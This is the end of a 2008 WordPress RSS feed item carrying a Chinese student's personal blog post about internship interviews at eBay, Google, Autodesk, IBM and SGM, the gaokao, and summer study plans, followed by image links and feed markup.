<div>关于实习<br />实习就像相亲，也许别人看不上你，也许你看不上别人，大家都在忙忙碌碌的寻找自己的“意中人”。想随便说说几个公司。<br />ebay，效率很高，基本上一下午加一晚上就可以大致猜出录取与否。虽然自己一直以为这个算一家大企业，不过后来发现其实是一小公司作风，基本上只是招能熟练垒代码的学生。<br />Google，对算法要求到了极致的年轻公司。从笔试到面试都在考验你的算法水平与技巧，如何写出最为高效和简洁的代码是它的目的。这里也是能发现最多大牛的地方，同时其环境、福利、薪酬也是属于最高档次。<br />Autodesk，注重于C++与C#理解。不过假期的Intern更像是其产品的推广培训，不过它对FD的人不感冒，可能是前人的影响吧。<br />IBM，老牌的大企业，其转型以不是传统的IT公司，更类似一个IT+咨询的综合解决方案提供者。这里每个员工的分工都很细，从招Intern的一大串不同名字的职位中就可以看出来。合作与团队精神在这里是最重要的。<br />SGM，这个其实是凭借这对汽车的兴趣才投的，本以为可能会有智能交通与驾驶方便的研究。可是和部门负责人谈了后发现原来只是做企业内部的SAP，对于这个只有放弃了。不过成为正式员工的最大好处是可以以内部价格买车。</div>
<div> </div>
<div>关于高考<br />高考过了一段时间，湖北的分数和分数线也都已经出来了。每年这个时候也是大家最揪心的时刻。不知道表弟考的怎么样，也许考完试再打个电话问问。回家几次和之前的同学聊天也发现内陆和沿海的差别。可能沿海城市的机会更多，视野更广，但也最容易迷失自我。不过前几天接到高中老师的电话，还是向他推荐了让学弟学妹们报FD。</div>
<div> </div>
<div>关于假期<br />仔细看来其实这个假期属于最忙碌的一个假期了。其实也怪大一的时候假期不知道干什么，大二的假期都用来旅游，大三的假期该用来把欠下的都补上了。首先还是把单词背完，虽然自己也不确定这个能实现多少。其次跟着郭JJ好好学点东西，虽然到现在还没有见过。还有时间看下《Think in Java》与《Algorithm》。如果还有多的时间，恩，该想想去哪旅游好了。</div>
<div> </div>
<div>说了这么多不着篇幅的话，算是纯粹的水文了，最后还是发几张好玩的图片，见识下这些英勇的人们吧</div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs1.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs2.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs3.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs4.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs5.jpg?w=300" /> </p>
<div> </div>
<p><img alt="" src="http://yanxin.files.wordpress.com/2008/06/bbs6.jpg?w=300" /> </p>
<div> </div>
</div>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yanxin.wordpress.com/12/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yanxin.wordpress.com/12/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/12/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=12&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2008/06/28/%e9%9a%8f%e6%84%9f/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs1.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs2.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs3.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs4.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs5.jpg?w=300" medium="image" />

		<media:content url="http://yanxin.files.wordpress.com/2008/06/bbs6.jpg?w=300" medium="image" />
	</item>
	</channel>
</rss>
